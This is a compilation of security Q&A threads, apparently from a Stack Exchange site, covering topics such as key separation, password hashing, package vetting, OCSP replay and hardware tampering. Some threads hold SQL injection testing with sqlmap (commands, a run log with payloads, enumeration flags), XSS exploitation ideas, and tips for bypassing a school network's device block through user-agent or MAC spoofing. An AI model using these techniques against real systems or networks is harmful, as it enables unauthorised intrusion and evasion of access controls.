Is there an advantage in using separate key pairs for encryption and signing? Let's assume that we are designing a binary protocol for message exchange between devices. Part of the message will be RSA encrypted and there will also be an RSA signature block in the message.

Is there any advantage in using two separate key pairs, one for encryption and one for signing? This is opposed to using the same key pairs for encryption and signing.

To clarify:

Option 1. Device A has keypair A and device B has keypair B. These are used for both encryption and signing.

Option 2. Device A has keypairs Aenc and Asign and device B has keypairs Benc and Bsign, and these keypairs are used for encryption and signing respectively.

Definitely.  There are two main advantages of having one keypair for encryption and another keypair for signing.

The first reason is that you will want to keep backups of expired keys that have been used for encryption, which is not the case with signing keys.  You normally store encrypted data encrypted and decrypt it to view it.  If you lose an encryption private key you lose data.  If you lose a signing private key you lose nothing (since the public key will be somewhere public, right?).  Our favourite bear made a huge discussion about this point in a previous answer.

A second reason is that an encryption protocol may be broken.  It is plausible that only the encryption part or only the signing part of the protocol is broken (e.g. by watermarking data inside a cyphertext).  If RSA encryption is broken and you have 2 keys, you need to revoke all encryption keys (and substitute by another protocol) but does not need to do anything about the signing keys.  The opposite (signing is broken) also holds.

Due to popular demand (in the comments), I'll defend the second point above by presenting two scenarios: one in which an asymmetric signature can be broken without breaking the encryption, and one in which the encryption can be broken without breaking the signing algorithm.  Let's rock:

(I'm not a theoretician, therefore there may be something wrong if you look at it with enough pedantry, don't feel afraid of pointing it out.)

Breaking signing without breaking the encryption

Assuming that the signing is performed in the following fashion (it is a common fashion for asymmetric encryption):

encrypt(privkey, hash(plaintext))

The purpose of an attacker is to be able to sign a message of his own creation with my key.  He can steal the key or attack the algorithm.  If the attacker finds a way to efficiently find collisions in the hash() function, he can take a message previously signed by me retrieve the hash (by decrypting the signature) and craft a message of his own that collides to the same hash value.

In other words, by breaking hash() an having access to at least one of messages signed by me, the attacker defeats the signing algorithm without touching encrypt().

Breaking encryption without breaking the signing

One common way to break the encryption is being able to guess the key based on information in the cyphertext and the plaintext.  This is often called watermarking (although that is more often used against symmetric encryption).  The encryption will be performed by:

encrypt(pubkey, plaintext)

Now, let's assume that the attacker will send me several cyphertexts encrypted with my public key.  And that he will convince me to reveal to him the content of the plaintext that I decrypted using my private key.  This is not far fetched at all: imagine encrypted mails with password resets, I'll decrypt the mail and send the plaintext back to the attacker.

Now, if it is possible to guess (with high probability), based on certain bits in the cyphertext, that a certain bit in the plaintext will be 1 or 0 if another bit in the private key is 1 or 0, then we have a high probability chance that we discovered a single bit of the private key.  This is akin of an attack against the S-BOX model of the algorithm had we been talking about symmetric encryption.

(The previous paragraph is considerably far fetched.  Thinking of RSA as using bits is not very realistic.  I'm using bits because it is how watermarking works against block ciphers, but you can think of it as any statistical attack on RSA)

Repeating the procedure above several times the attacker can recover my private key, and the encryption is broken since he can now decrypt all messages sent to me.

Why doesn't this work for signatures?  Because of the same hash() function as above.  If the hash is cryptographic, it should be impossible to determine the location of bits in the plaintext based on the hash output.  Therefore, if hash() is sound but the encryption algorithm can be attacked with watermarking, we can break encryption without breaking the signing algorithm.

But wait, aren't cryptographic hashes used (on the plaintext) during the encryption?  Ekhm... nope, the encryption need to preserve all data so it is possible to decrypt it.  A hash will lose some data, therefore it cannot be used in the same form as in the signing algorithm in the encryption.

Of course, these two scenarios are not the only possible scenarios.  But are plausible scenarios, woth enough attention to warrant using 2 keypairs (one for signing and one for encryption)


SQLMap Only Returns information_schema I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns information_schema database.
Is there something wrong (if so, is there anything I can do to circumvent it ?) or the database really only has 1 database ?

it is unlikely that the web application you are testing only has the one database as information_schema is read-only metadata.
you can dump some of the views in there to find out if there are other databases that you aren't allowed to see for some reason:
information_schema.schemata  is the table (it is really a view) you would want to dump.
edit:  can you explain what you are trying to do with your --tamper and --data statements


Does it exist any gadget that catches and copies all the digital information? When I was watching Prison Break there was a device that was catching all the digital data and copying it. Do similar info-gathering devices really exist?

  The device must be within several feet of the object it needs to read,
  and sometimes has difficulty reading data through safes and other
  metal objects. For a file as large as Scylla, it may take several
  minutes to copy the entire file. If the transfer is interrupted, it
  must start from the beginning of the file, it cannot pick up where it
  left off.

No, it's pure science fiction.

First of all, handwriting on a piece of paper is digital. It's composed of discrete, digital symbols. A burnt match could be a piece of digital information...

Second, copying from chips such as flash storage, generally requires powering them and addressing them. This can not be done remotely for general chips. Exceptions, such as RFID, are exceptions that carry a large antenna to harvest enough energy, and adhere to specific protocols.

And when it comes to spinning disks... what physics would that be? Information is stored as magnetic information on a set of spinning platters. The disk is a pretty good faradays cage by design, and it requires large amounts of power to spin up the disk and actuate reading head voice coils...

Furthermore, there's no logic, if this was possible, that it would have to start over from the beginning if interrupted. Especially not from the beginning of the file, not the block device. If you're able to jump to the start of the file on a block device, there's no reason why you can't jump to an arbitrary point within the file as well.

The closest we have is TEMPEST attacks which try to catch the electromagnetic noise created by computers. Some components, such as CRT monitors, created fairly strong signals, that gave a quite clear representation of what was presented on the screen. But it requires the device in question to be powered on, and access the data you want to see. It doesn't allow you to grab non-accessed content from for instance a flash device or a hard drive.


Is there any issue using the PHP crypt() function with an additional salt? Is my PHP authentication script secure?
I noticed that the hashes start with the first two letters of the username.
Could there be a security flaw using crypt() in such a way?

<?php

// Credentials :
// admin / P4ssW0rd
// j.doe / r0x0r

$cred = array(
    'admin' => 'adkFV/7Pa.Em.',
    'j.doe' => 'j.4AzOhv10e1M'
);

$salt = 'abcdefg';
$user = $_POST['login'];
$pass = $_POST['pass'];

if (isset($cred[$user]) && crypt($salt . $pass, $user) == $cred[$user]) {
    echo 'Access granted';
} else {
    echo 'Access denied';
}

Your script is atrocious in several ways:

As was pointed out by @Corneliux, PHP's crypt() function uses the old DES-based crypt() function from the Unix world (precisely, what was used in Unix 20 years ago). It will use only the first 8 letters of the provided password, ignoring the rest. In your case, the first 7 letters are the contents of your $salt variable, not of the password. This means, in practice, that a user will be granted admin access as long as what he enters as password begins with a 'P'.
Even if crypt() used a decent password hashing function, you would still use it wrong. In PHP's crypt() function, you are supposed to provide the salt as second parameter; you don't glue it with the password; right now, you use the user name as salt.
Your $salt variable is not a salt anyway. The point of a salt is to change; ideally, each password hashing instance should have its own salt value (that is, one new salt for every user, and a new salt each time a user changes his password as well). An hardcoded salt value, always the same for everybody, is the exact opposite of what a salt is supposed to be.
Writing the plain passwords of users in the comments is, let's say, unwise.

Do yourself a favour: use a recent enough PHP (5.5.0 at least) and call password_hash(). That call will use bcrypt, which is as fine as you can realistically get. Don't fiddle with salts: just let the function generate a random salt internally; it will also store the salt encoded in the resulting hash value, which is fine.


Danger of peer to peer software I wanted to ask what are the risks of using P2P software. I found a lot of information on-line regarding the danger of file sharing but not about the software by itself.

I am writing a mobile application which will connect users in to a p2p network to transfer some data to each other. The data transmitted over the network will be only the application data.

Now I am trying to make security assessment for this application and can't find anything relevant (except DoS which in use case which I have does not make sense either)

In practice, unless each mobile contributes bandwidth and storage space to the P2P network, a P2P network will involve computers other than the mobile applications of your use case. And thus susceptible to a security topology beyond your control.

If the network is pure P2P (no central servers other than peer discovery bootstrap) and it is restricted to the mobile application only, then these peers can block external access by encrypting connection and communication with an asymmetric key pair only stored within the mobile application. This is in additional to any other layers of encryption the communication may choose to have or not have.

Of course the application can be reverse engineered to steal the key; so it depends on how motivated people who acquire a copy of your application are to do this. Alternately the network can be little less "pure" P2P and periodically update the global application key pair from a server under your control.

So, security assessment:

If the P2P network is yours, you can protect it from most security problems. Perhaps even making it a DarkNet to reduce visibility to DoS attack.
Or if your application uses a P2P network that isn't yours in order to avoid the mobiles having to contribute bandwidth/storage/cpu relative to network size - then security of the P2P network will mostly depend on the specific design trade-offs of that network. You would need to provide the exact existing P2P network for review in that case.


Before a piece of software is approved to go into a repo, what security checks does it go through? I use Debian Jessie, and the Debian repo has many open source packages. I understand there's a process that checks these before they get used in the repository.

While I understand it's impossible to find every bug (heartbleed, for example), I would like to know if some kind of review of the application occurs. For example, if a password manager sends every saved password to a central server for "statistical purposes". There is a lot of middle ground between a obscure bug and blatant malware, and I'd like to know where (if anywhere) the appropriate-for-repo line is drawn.

This review may not necessarily be reading every line of source, but perhaps checking that the app doesn't connect to weird servers unexpectedly, or write plain text files to disk, or any malware-type behaviour.

So my question: what process do open source applications go through before being accepted into a repository?

(And to avoid the X-Y problem: I'm asking because I would like to install a password manager from the repo and I want to trust it isn't giving my passwords away in the background)

where (if anywhere) the appropriate-for-repo line is drawn.

This will probably seem disheartening but a lot of it is simply common sense.  Namely, if no one is reporting a problem then things should be fine.

This isn't as bad as it may sound at first.  There are a lot of phases during which someone can report issues.  To see how these things are done (and to make a you believe this info at something more than face value), let's walk through the process of getting a package into an official repository on some Linux distros.  Although there are dozens of distros out there, we have pretty much only three major base repos from which other distros draw their own repos:

Debian - from which Kali or Ubuntu take packages, and then Ubuntu is spin again into Mint for example.
RedHat - which test packages for inclusion through Fedora (or SUSE which test package inclusions with OpenSUSE).
Arch/Gentoo - that have huge user contributed sets of packages that are included in the main repos if enough people use them (more distros come from her as well, Majaro or BlackArch are spins of Arch, for example).

Let's look a the phases each of these models use, and about extra effort use to check these packages.  But first some general concerns:

General

Software that is used by many people (and I really mean many, e.g. httpd) is also maintained by many people.  Such an environment will first have coding reviews and ways of reporting a user that tries to vandalize the code.

Also, in software that is used by so many people, CVE hunters (e.g. researchers that happen to study that piece of software at the time) would catch a piece of intentional malware within hours.

Apart from people that may look at the source code of the piece of software itself, distros have package maintainers for each package.  If a dodgy feature was pushed into the code repository of a piece of software, and the package maintainer of this package in a distro notices it, he will report it (and not update his package in the distro).

Moreover, adding a new release of a piece of software into a repository (which requires compilation and functional testing) takes 20-30 hours in the extremely optimistic cases (the best I saw recently was Vim 8, was added to the Arch repos 17 hours after the official release).  If there is a known CVE, caused by vandalism, in the next release, a package maintainer will not update a package in the repository (in any distro).

Debian

Debian has debian testing and debian unstable where Debian users can (and often do) use packages that are unstable.  Debian unstable is most often used package by package by the package maintainers.  Debian testing is widely used by people that want the newest software quicker.  It is advised by Debian that packages in debian testing are often not a secure as the stable release with security updates enabled.

The extremely critical software (e.g. httpd or openssl) receive extra scrutiny.  The security team of the Debian developers go through the most important packages (not as far checking every line of code, but tey do a lot of checking) and through pretty much all CVEs.  Their bug tracker is pretty efficient at finding and fixing issues.

As an extra, I am aware of at least one of the members of the Debian security team who runs the CBMC compiler on some packages.

RedHat

Inclusion of package in RedHat (and similar distros) is performed by using an open distro as a testing ground.  For RedHat that is Fedora.  But it isn't that packages can be simply added to Fedora.  By the contrary, there is a good deal of scrutiny over packages to be included: the packaging guidelines of Fedora are thorough.

There is more, before entering the repos for RedHat a package must be well behaved in the main Fedora repos, but to enter the main fedora repos the package should be in the EPEL repos first.  And the EPEL repos are also reviewed according to the package guidelines.

Arch

This is a mix of the two above.  To enter the main repos on Arch the package must have been well behaved (and popular) on AUR.

Yet there is a community security team for CVEs, like in Debian.

Extra notes

Therefore, the package is checked at the development stage by its community.  If the community is small (let's say, only the author), the second person to look at it will be the package maintainer on the distro.  If a single package maintainer or community member raises a red flag about a change, that will likely fall into the hands of a security team (or a CVE hunter) and be dealt with.

All this may still seem sketchy, since it depends on people reporting things.  Yet, if you think statistically, there is little to gain from attacking a package used by 3 people.  Adding a dodgy code change to a package used by millions would be profitable, but then it would need to pass the scrutiny of hundreds looking at it.  Having a single guy reading every line of code going into the distro is likely to be less effective at determining security flaws than the current use of community eyes.

The real danger lies in the language specific (and operating system independent) repositories: akin of pip (python), gem (ruby) or even CPAN (perl).  There are people looking at the packages in there alright, but you can publish a package there that contains malware, and it can go unnoticed for days.


Is there a way to make my iPhone appear as as either an OSX/linux/windows device to a WiFi network? My school prevents iOS devices from gaining access to the internet. I am able to connect to the WiFi but after I am redirected to the terms of service page and click "accept" it redirects me a page that says "your operating system is not supported" and won't allow me to connect to any websites. VPN? User agent masker/blocker? I am looking for a solution that is completely untraceable so I can not be caught, however if you have any ideas please let me know. Thank you!

The most commonly used method I've seen captive portals use to determine a device's operating system is to check a browser's User-Agent HTTP header.

Since you are using an iPhone, you could use a browser that allows user agent switching. A list of iOS browsers with that capability can be found here.

Another method would be to use an authorized device to gain internet access and spoofing your iPhone's MAC address to match that of the authorized device. However, I do not believe this is possible on the iPhone without a jailbreak.


isaac random number generator and the type of encryption it is used for (game packet encryption)? I recently found isaac but I'm not sure what type of encryption is possible using it. Does the random number generator itself become the message somehow or does it get used as a seed for an encryption method? If so, what; and can someone maybe give some code example in a C based language (if possible). If you just mention the encryption name thats fine. Basically I need this for encrypting mmorpg tcp packets (online gaming for the non-gamer) in order to prevent MITM attacks and whatever other attacks are possible to prevent.

If you want to ensure security of your communications, in particular prevent Man-in-the-Middle attacks, you need much more than encryption. Encryption only provides confidentiality, but does not prevent alterations (e.g. replaying packets, dropping packets, reordering packets, switching bits...). You also need some integrity checks, and a way to guarantee that the client is talking to the right server. Assembling cryptographic protocols is very hard (making it run is not hard; achieving security is hard), so the smart thing to do is to reuse an already defined protocol which does the job and has been well studied. This is called SSL (aka "TLS" in its recent versions). It will be much better than any homegrown scheme, and much easier for you since libraries implementing it already exist. The software which is easiest to implement is the software which has already been implemented.

For your specific question, it is possible to turn a deterministic cryptographically secure PRNG into an encryption scheme by using as key the internal starting state of the PRNG: you generate the key-dependent pseudo-random stream, which you then XOR with the data to encrypt; decryption is identical. This is how most stream ciphers work. Usage is delicate: you must NEVER encrypt two messages with the same key, because that would be the infamous two-times pad situation. When SSL uses RC4 (another, more well-known stream cipher), each connection uses a new key.

Whether ISAAC is cryptographically secure remains to be seen. It is old, and has attracted some reviewing by cryptographers, which is good; however, it was not part of the eSTREAM project and has not even been submitted to eBASC (for benchmarking on a lot of types of PC), so it looks a bit "abandoned". Since the "seeding" part (turning an initial key, as a small sequence of bits, into the starting initial state of the PRNG) is not specified, one can argue that ISAAC, as a cryptographic algorithm, was never "completed", precluding any decent effort at cryptanalysis. Studying it for academic purposes is fine, but I must recommend against using it for any production usage. And, anyway, you should really use SSL.


Is it safer to run my own VPN server at home? I am looking to use a VPN server to prevent MiTM attacks associated with insecure network access points. Is it safer to run a VPN server at home over using someone else's VPN server or is it a waste of time?

This is a question whom do you trust:

If you trust someone to offer the features, security, privacy... you expect from the VPN then you might use the offered VPN.
If you consider yourself firm enough in network security to run your own server you might do it.
If none of this is the case use the option with the lowest risk and somehow deal with the remaining risk.

  I am using a VPN because I am running a business and the threat is mitm attacks

Please note that a VPN does not fully protect you against MITM attacks. It  only provides a secure tunnel to some VPN endpoint and from than on you are again on your own. To secure the rest of the connection from the VPN endpoint to some server against MITM you would still need to use HTTPS or similar end-to-end encryption.


How could a website trigger a Windows pop up notification? I browsed a web site that deals with currency exchange rates. I did not register. I  just browsed it. It is a one page site, no registration is required to access the information. I was surprised a few weeks later by a pop-up message at the lower right of my Windows 10, telling me about a significant price change.

It is cool already but I was wondering how did the developer know how to pop such a message on Windows while I am not at the site page? Of course, they captured my TCP/IP but how did they instruct my machine to do this? I assume it requires code to be installed on my machine and must get a message, maybe via timer, and a mechanism to pop up.

I have several firewalls, virus checker, ad-blocker, etc. installed!

Edit:

From some of the comments and the answer I got, thanks to all, but I would really like to know how does the site do it? For example, do they store all ip values of visitors and go 1 by 1 to push the info to them? The site URL is: https://eldolar.live/

My first thought is that it is because of the advertising that is built into Windows 10 and enabled by default:

http://www.pcworld.com/article/3039827/windows/7-ways-windows-10-pushes-ads-at-you-and-how-to-stop-them.html

Or, it was a notification through your browser. I use Chrome so am most familiar with its behavior. Sites that want to push notifications to you, chrome asks if you allow this and if you do it will cause little pop-up windows in the lower right with those notifications. I'd guess IE, firefox, etc. have similar features. Maybe the settings were overridden to allow notifications without prompting?

If not that, then some piece of software installed is adware.


Mitigations for Windows clients that don't support OCSP Nonces Windows 7 clients (and older) don't support NONCES, a key feature used in securing the revocation check.  Without a NONCE a MITM could replay a previously signed response and alter the validation of the certificate.

What mitigations are there to prevent OCSP replay attacks on a client that doesn't support NONCES?

More info:

From what I can tell all software that relies on the verification process in CryptoAPI works this way.  I believe this includes:

IE (SSL and client certs)
.NET network bindings (WCF, HTTPS, WebClient)
Smart Cards
SMIME
among many others...

Rook, Chrome on Windows uses CryptoAPI on other platforms they use NSS but NSS's revocation platform isn't "Faster" and doesnt send nonces (by default) either - its actually the least performant and robust revocation implementation of all the browsers.

There are a bunch of pending improvements to the NSS revocation behavior that should fix this in the near future.

We offer OCSP services for our products, one of the larger pool of responders on the internet; the number of requests we get with nonces approaches 0 (almost none).

makerofthings - Java applications will each behave differently, its possible to get Java to send nonces, sign requests, etc; its all up to the application.

As for the original request, there is limited protection to replays based on time (see security considerations in - http://www.ietf.org/rfc/rfc5019.txt). Supporting nonces also requires dynamically signing OCSP responses, Symantec issues 3 billion OCSP responses a day under normal load and this is with cached responses. Introducing dynamic signing would both be several orders of magnitude more expensive to operate (especially globally) but also expose them to a trivial resource consumption DOS.

Nonces make the most sense in the enterprise where signed requests also have a chance of working,  if you want to use them you should look at installing a revocation provider in windows like the Axway desktop validator.

@rmhrisk


Are there any type safe languages with deterministic compilers? This article about  BIND9 concludes with the statement:

The point I'm trying to make here is that BIND9 should not be exposed to the public. It has code problems that should be unacceptable in this day and age of cybersecurity. Even if it were written perfectly, it has far too many features to be trustworthy. Its feature-richness makes it a great hidden master, it's just all those feature get in the way of it being a simple authoritative slave server, or a simple resolver. They shouldn't rewrite it from scratch, but if they did, they should choose a safe language and not use C/C++.

When investigating C#, I see this by Eric Lippert, saying that C# will never compile to the exact same binary due to changes in the MVID column.
Question
Is there any combination of a type safe programming language and compiler that results in deterministic builds?

There are tools to make builds deterministic. However it is not as simple as picking the correct language and compiler. You also have to eliminate all sources of non-determinism from the build. This mostly consists of time stamps and check sums. See https://reproducible-builds.org/docs/deterministic-build-systems/ for a more complete list of non-determinism.

Reproducible-Builds also lists several projects who use deterministic builds (https://reproducible-builds.org/who/). I noticed that a few used a combination of c or c++ and Gitian (https://github.com/devrandom/gitian-builder) using build scripts that strip non-determinism. For an example read the instructions for bitcoin core https://github.com/bitcoin/bitcoin/blob/master/doc/gitian-building.md.


Anonymity: standardization or randomization? I wonder if it's better to standardize or randomize data for anonymity. For example, think of browser fingerprinting. If you standardize every parameter, you would have all browsers returning the same user-agent, the same installed fonts, the same window size, etc. Every browser would appear to be the same as the others, so it would be anonymous (except for the source IP of course). The other approach is randomization: every browser will randomize the data for every request, so for example the user-agent will keep on changing every time (or pretty often anyway) and might be chosen from a large set of common user-agents, or maybe even randomly generated. The same goes for all the other parameters, including window size, etc.

I think there's basically no difference between these two approaches, except that maybe randomization might confuse the tracking systems a bit more, causing a little bit of damage by polluting their data. It might also be easier to spot any small differences between standardized data, while randomized data might be more difficult to analyze, at least at first, before the trackers have figured out a way to remove the noise.

Complete fingerprint elimination is impossible for a wide variety of technical reasons -- in short, a lot of fingerprintable data is required for correct website operation, so you can't deny it to websites, or can be figured out through side channels that would require a big performance hit to eliminate. The original version of this answer had a massive list of specific reasons why, but... it was over two pages. I removed it before posting. There are also legal reasons -- browsers might be considered breaching their fiduciary duties if they aren't constantly trying to innovate, which implicitly means newer versions have different features, which... is fingerprintable. TL;DR: Fingerprinting will always exist.

The damage can be minimized, though, generally through standardization. For example, browsers could:

Change the UA so it only contains the browser and major version so it leaks less data about the OS and hardware.
Remove certain features that shouldn't be necessary for websites, and are used to provide additional data.
Encourage people to browse full- or half-screen only, so that their window sizes are standardized to a small set of values which are nonetheless convenient.
Teach consumers to be more paranoid about cookies and require more strict, more granular permissions before setting them.
Default to behaving in some standard way, with extensions opted in to, so websites can't tell if the functionality doesn't exist or if it's just disabled.

Randomization could also be used for those, but there's the additional danger of randomization patterns being fingerprintable, without any additional benefit, and while being harder to confidently reason about. The temporary benefit in the form of confusing fingerprinters briefly probably wouldn't be worth the lasting damage of giving much more accurate fingerprints (because currently, the UA can't really identify someone, as it's just a string that some browsers even let you change -- but how it's randomized is built in to the browser's code, and therefore can be.)

So ultimately, in practice, standardization works better for fingerprint reduction.


How could an attacker exploit XSS in a cookie reflecting the URL? In one of the recent penetrationtests I encountered an XSS vulnerability within a cookie. The situation is as follows.

The webapplication uses the cookie to store the current URL. Once the user switches to another functionality within the application the cookies information is placed on the website as link. The created links are only valid for the current session.

So for example by manually setting the cookie to Cookie: key=fooXbar results in bar where the foo part is not validated but the bar part is.

So when manually manipulating the cookie there is no validation on the foo part and any script is executed. However to make this a successful and valid attack the XSS needs to be served via the actual URL as described above. But the cookie is then set via javascript using escape(document.location.query). The escape() seems to eliminate the chance to make this successfully exploitable (e.g. ">< becomes %22%3e%3c).

So would there still be a possibility to inject XSS via the URL so that it gets properly included and executed? (Assuming there are no other vulnerabilities that could help exploiting this one.)

For now this would be rated as low finding due to the described circumstances. So any further comments or insight are much appreciated.

edited:

Thanks everybody for your feedback. According to the answers and the comments I currently believe that this xss vulnerability should not be exploitable by itself.

It is in fact the escape() function that is used. the a links is crafted via php-script portion and the "./" portion is hardcoded. If I remember correctly it is build doing something in the lines of  $html .= '
';

The escaped string, %22%3e%3c is URL encoded. The URL encoding makes it impossible to escape the quoted attribute value context, since all interesting characters will be converted to their URL encoded percent values.

So can this URL encoding be avoided? I don't know. If it is the escape() function doing it, you might be toast. However, depending how you perform the attack it might be some browser magic somewhere URL encoding things. Try execute the attack under as realistic cirsumstainces as possible - e.g. craft your malicious link and click it, instead of entering the URL in the adress bar.

Finally, it sounds like the a element in question might be generated client side with javascript? I imagine the code might look sort of like this:

theLinkElement.href = "./" + foo

If this is the case, it's game over since many classic XSS tricks don't work when you are explicitly manipulating the DOM via javascript.

But what about that leading ./? Is it hardcoded? Can you get around it? If so, a javascript: URL would do the trick.


Search for military installed backdoors on laptop My laptop was confiscated by the military institute of my country and they made me to give them all my passwords (I cannot tell you the name of my country). They did not give it back to me for one week (yes, it was out of my sight for a while).
I nuked it from orbit but I just realised that it was on sleep state for 2 days and not in shutdown state, so it was connected to my modem via wifi. Does it need to be worried about?

and

I need to make sure if they have added something to monitor my activities or steal my data or not? And if they have done that, what should I do to prevent them.

I have double checked the laptop physically and there is no sign of screw or plastic deformation. Is that still possible that they have compromised its hardware?

If the device left your sight for any amount of time, replace it. It can no longer be trusted.
The cost to assure it can still be trusted significantly exceeds the cost of getting a new one

There is effectively no way to verify that the hardware has not been tampered with without significant expertise and employing non-trivial resources. The only solution is to replace the laptop and all associated components. Without knowing your country or other aspects of the situation you are in, there is no way for me to comment on the likelihood of this, only on the technical feasibility.
If you do need to verify the integrity of the laptop, there are a few things to check (non-exhaustive):

Weight distribution - Verify the precise weight of each component (ICs, PCB, etc). Weight distributions can be analyzed using gyroscopic effects. This requires having uncompromised equipment nearby for comparison. Extremely precise measuring equipment is required. You'll need to be aware of the different tolerances each part has in order to know what is anomalous.

Power consumption - Verify the power consumption of each component over time. Backdoors often use power, and their presence can sometimes be detected with a power analysis attack. Do not rely on this however, as integrated circuits can use extremely little power nowadays.

PCB X-ray inspection - Use X-rays to view the circuit board internals. This requires expensive equipment for a multi-layer printed circuit board such as a laptop motherboard. It also requires many man hours of intensive inspection of each square micrometer of the device. This is probably the easiest to do, although still takes specialized equipment and skills.

IC inspection - Physically remove the various layers on integrated circuits ("decapping") and analyze the internal die. For anything much more complicated than an 8051 microcontroller, this will require significant expertise and is not possible without a high level of domain knowledge and a lab. But this would have to be done for everything from the main chipset to every CPLD on the board. Do you have a full-face respirator and a fume hood for all the acid you'll need to use?

Sounds excessive? It is, but this is what you would have to do to have a good level of confidence that no malicious hardware modifications have been made. It will be cheaper just to buy a new laptop. Note that this is not intended to be practical advice, and it is not even close to complete even if it was. It's meant only to illustrate this near-impossibility of searching for sophisticated hardware implants.

I nuked it from orbit but I just realised that it was on sleep state for 2 days and not in shutdown state, so it was connected to my modem via wifi. Does it need to be worried about?

In theory, compromised hardware or firmware would be made to compromise your wireless access point or other devices listening in. While a suspended state (sleep mode) normally also disables the NIC, you cannot make that assumption if the hardware is compromised. However, while this is theoretically possible, it would require a far more targeted attack, and most military groups will not want to give away their 0days by shooting them at any random nearby wireless devices.
Unfortunately, it is also theoretically possible that your modem has been compromised. If that is the case though, I think it'd be incredibly unlikely that it was done by your exploited laptop, as they could have just taken over your modem through your internet connection (TR-069 is a bitch), assuming they can control or compromise your ISP. If they have tampered with your hardware, it's much more likely that they have only done so for surveillance purposes, not to spread some silly worm.

I have double checked the laptop physically and there is no sign of screw or plastic deformation. Is that still possible that they have compromised its hardware?

Absolutely. There are many ways to open a laptop without that fact being apparent. While many sophisticated chassis intrusion detection mechanisms exist (some that even detect small changes in air pressure that would indicate a person messing with it), there are some "ghetto" techniques which you may be able to use in the future. One technique is to sprinkle nail polish with glitter on the joints of the system, inside and out. Take a high-resolution photo of this (and don't store the photo on the computer!). If the device is opened, the precise layout of the glitter will be disrupted, and it will become exceptionally difficult to put it back in place. You can compare it with the stored photo and look for subtle differences. This is sufficient to detect tampering by most adversaries, if done right.
The term for this is tamper-evidence, which is any technique that makes it difficult to tamper with a device without that fact being noticeable. More professional options would include bespoke tamper-evident security tape or holographic stickers. There are lots of epoxy potting solutions too (but beware of overheating!). Unfortunately, this can only help you in the future and will obviously be incapable of protecting your system retroactively. But consider how likely it is that they really compromised it.


Testing SQL injection using sqlmap I'm just started using sqlmap to test for possible SQL injection attacks.

I have got a website which is vulnerable:

C:\Python27>python xxx\sqlmap\sqlmap.py -u http://www.example.com/page.php?id=1

[*] starting at: 19:33:27

[19:33:27] [INFO] using 'xxx\session' as session file
[19:33:27] [INFO] testing connection to the target url
[19:33:31] [INFO] testing if the url is stable, wait a few seconds
[19:33:33] [INFO] url is stable
[19:33:33] [INFO] testing if GET parameter 'id' is dynamic
[19:33:33] [INFO] confirming that GET parameter 'id' is dynamic
[19:33:34] [INFO] GET parameter 'id' is dynamic
[19:33:35] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: MySQL)
[19:33:35] [INFO] testing sql injection on GET parameter 'id'
[19:33:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:33:39] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[19:33:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:33:39] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:33:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:34:40] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[19:34:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[19:34:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N]
y
sqlmap identified the following injection points with a total of 29 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3404=3404

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---

[19:34:55] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.15
back-end DBMS: MySQL 5.0.11
[19:34:55] [WARNING] HTTP error codes detected during testing:
403 (Forbidden) - 21 times
[19:34:55] [INFO] Fetched data logged to text files under 'xxx\output\www.example.com'

[*] shutting down at: 19:34:55

Now I would like to find out whether it is possible to see if I for example can see all the tables in the database.

What do I have to type in the command line to check this?

What you are asking to find out is called enumeration.

Reading the SQLMap manual under the enumeration topic provides me with the following information:

--dbs for databases
--tables for tables
--columns for columns

There is also a lot of other good information in the manual, so I suggest reading over it if you have more questions about flags and parameters the tool takes.

I've added a blog post about enumeration with SQLMap here: http://www.securesolutions.no/enumeration-with-sqlmap/


Does escaping quotes protect me from SQL injection? A newbie question here.

I've just read through a short introduction to SQL injection on http://www.breakthesecurity.com/2010/12/hacking-website-using-sql-injection.html?m=1

It says to find a GET request path on PHP application to see if it is vulnerable or not.

I have a website, with the following query URL.

http://example.com/get_stuff?query=hello&limit=50&offset=0

I'm using a raw query, so according to the site, I'm assuming that my website IS vulnerable to SQL injection.

To test this, I try this.

http://example.com/get_stuff?query=hello&limit=50'&offset=0

(adding a single quotation mark after limit=50)

This prints out the error - as expected and as the website has suggested - meaning that my query is vulnerable.

Now, to safe-guard this, I want to make sure I "escape" the quotes in my queries. I'm using a PHP framework called CodeIgniter, in which there is a function called $this->db->escape().

So I use this "escape" function on the value 50, but now it returns error saying that "50" is not a valid integer.

Fair enough, "LIMIT" condition should only receive an integer value.

But my question is, is my query now "SQL-injection" safe?

Your query is first-order-injection maybe-just-maybe-safe, depending on how CodeIgniter improved from the last time I used it.

Let's be clear on this: no amount of sanitization will prevent you from SQL injection. The true "best fix" for PHP is parametrization, which allows you to take the variables out of the query. Failing that, however, proper sanitization can help. Last time I checked (three years ago), CodeIgniter used mysql_real_escape_string which, while a valid deterrent for most script kiddies, will not stop a seasoned hacker.

The best thing to do is to read up on how CodeIgniter actually does the sanitization/parametrization. If it is just addslashes, avoid it like the plague. There are plenty of other ways to perform SQL injections, by the way - for instance, you can juke character encoding to pass quotes through on most addslashes/mysql_escape_string setups. There are plenty of tutorials on the matter.


What are private key cryptography and public key cryptography, and where are they useful? I don't understand the real world usage scenarios of these cryptography methods.  Can any one please explain how they work, with examples and also their usage in the real world?

Wikipedia has a good article on public/private-key cryptography. To summarize public/private-key cryptography is one concept, not two. The alternative to public/private-key cryptography is using symmetric cryptography which has one key per pair of communication partner.

In asymmetric cryptography a person/computer has a keypair. One key is kept secret and called private key. The other one is given to communication partners. Anything that is encrypted using the public key can only be decrypted using the matching private key.

